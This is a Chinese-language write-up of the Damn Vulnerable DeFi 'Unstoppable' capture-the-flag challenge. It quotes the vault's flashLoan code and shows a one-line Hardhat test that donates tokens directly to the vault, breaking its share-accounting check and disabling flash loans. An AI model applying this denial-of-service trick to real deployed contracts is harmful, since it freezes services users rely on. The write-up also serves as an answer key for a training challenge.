1. issue
There’s a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To pass the challenge, make the vault stop offering flash loans.
You start with 10 DVT tokens in balance.
简单来说:就是让这个金库停止提供闪电贷
题目链接
2.analysing ReceiverUnstoppable.sol 和 UnstoppableVault.sol
源码链接
由简入难
分析ReceiverUnstoppable.sol
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata ) external returns (bytes32) { if (initiator != address(this) || msg.sender != address(pool) || token != address(pool.asset()) || fee != 0) revert UnexpectedFlashLoan(); ERC20(token).approve(address(pool), amount); return keccak256("IERC3156FlashBorrower.onFlashLoan"); }
ERC20(token).approve(address(pool), amount)
: ERC20底层代币给UnstoppableVault
金库授权,允许金库支配多少数量的金额
1 2 3 4 5 6 7 8 9 function executeFlashLoan(uint256 amount) external onlyOwner { address asset = address(pool.asset()); pool.flashLoan( this, asset, amount, bytes("") ); }
调用 UnstoppableVault
的flashLoan
函数
分析UnstoppableVault.sol
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function flashLoan( IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data ) external returns (bool) { // 贷款数目不能为0 if (amount == 0) revert InvalidAmount(0); // fail early // 要金库应为当前金库 if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement // balanceBefore = balanceOf(address(this)) => address(this)=vault uint256 balanceBefore = totalAssets(); // 保险库的总金额 // totalSupply 是铸币是赋值 初始值 = balanceOf(vault) if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement uint256 fee = flashFee(_token, amount); // transfer tokens out + execute callback on receiver ERC20(_token).safeTransfer(address(receiver), amount); // callback must return magic value, otherwise assume it failed if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan")) revert CallbackFailed(); // pull amount + fee from receiver, then pay the fee to the recipient ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee); ERC20(_token).safeTransfer(feeRecipient, fee); return true; }
要使整个借贷池崩溃很简单,就是将这个借贷函数弄坏(即无法调用),分析可知,只有if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
该条语句才能将借贷函数在底层将其破坏,不受调用者输入参数所影响。
进一步分析:
balanceBefore
是通过调用 totalAssets()
函数得来的,而 totalAssets()
就是将当前借贷池的余额返回(会受到交易的影响),而 totalSupply
表示金库最大供给额度,只受铸币和销币的影响。
所以,只要在初始化的时候,我们的第一笔交易就是给我们的借贷池转入任意一笔钱,此时 convertToShares(totalSupply) != balanceBefore
永远不可能成立,就不能从借贷池贷款了。
注意 convertToShares 函数
1 2 3 4 5 function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); }
执行 convertToShares(totalSupply)的结果就是 totalSupply。
3. solving js文件中:
1 2 3 4 5 it ('Execution' , async function ( ) { const attract = token.connect (player); await attract.transfer (vault.address , INITIAL_PLAYER_TOKEN_BALANCE ); });
测试:
通过。